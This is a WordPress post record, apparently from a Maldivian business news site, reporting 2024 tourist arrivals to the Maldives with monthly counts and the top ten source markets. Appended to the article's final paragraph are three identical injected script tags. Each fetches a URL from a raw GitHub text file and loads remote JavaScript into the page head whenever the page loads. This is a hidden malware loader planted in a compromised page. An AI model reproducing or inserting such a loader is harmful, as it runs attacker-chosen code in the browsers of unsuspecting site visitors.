{"id":11080,"date":"2024-11-04T17:19:35","date_gmt":"2024-11-04T12:19:35","guid":{"rendered":"https:\/\/mbt.mv\/?p=11080"},"modified":"2024-11-04T17:19:35","modified_gmt":"2024-11-04T12:19:35","slug":"maldives-attracts-over-1-6-million-tourists-so-far","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=11080","title":{"rendered":"Maldives attracts over 1.6 million tourists so far"},"content":{"rendered":"<p>The Maldives has welcomed over 1.6 million tourists as of November 03, 2024 according to the Ministry of Tourism; which is a 9.6% increment in annual terms compared to the same period in 2023.<\/p>\n<p>As per the statistics from the ministry, tourist arrivals exclusively from November 1st to 3rd is at 18,504 which is a 21.8% increment compared to the same period last year; during which arrivals stood at 15,189.<\/p>\n<h3>Tourist Arrivals &#8211; Monthly (2024)<\/h3>\n<ul>\n<li><strong>January:<\/strong> 192,385<\/li>\n<li><strong>February:<\/strong> 217,392<\/li>\n<li><strong>March:<\/strong> 194,227<\/li>\n<li><strong>April:<\/strong> 168,366<\/li>\n<li><strong>May:<\/strong> 119,875<\/li>\n<li><strong>June:<\/strong> 123,284<\/li>\n<li><strong>July:<\/strong> 167,528<\/li>\n<li><strong>August:<\/strong> 176,175<\/li>\n<li><strong>September:<\/strong> 132,795<\/li>\n<li><strong>October:<\/strong> 172,619<\/li>\n<\/ul>\n<h3>Top 10 Markets 2024<\/h3>\n<ol>\n<li><strong>China:<\/strong> 240,401<\/li>\n<li><strong>Russia:<\/strong> 187,270<\/li>\n<li><strong>UK:<\/strong> 143,909<\/li>\n<li><strong>Germany:<\/strong> 127,446<\/li>\n<li><strong>Italy:<\/strong> 115,425<\/li>\n<li><strong>India:<\/strong> 101,963<\/li>\n<li><strong>USA:<\/strong> 55,976<\/li>\n<li><strong>France:<\/strong> 44,879<\/li>\n<li><strong>Spain:<\/strong> 39,568<\/li>\n<li><strong>Switzerland:<\/strong> 32,903<\/li>\n<\/ol>\n<p>While the Maldives is aiming to attract a total of 2 million travelers before the current year wraps up, the island nation attracted a total of 1,878,543 tourists in 2023.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives has welcomed over 1.6 million tourists as of November 03, 2024 according to the Ministry of Tourism; which is a 9.6% increment in annual terms compared to the same period in 2023. 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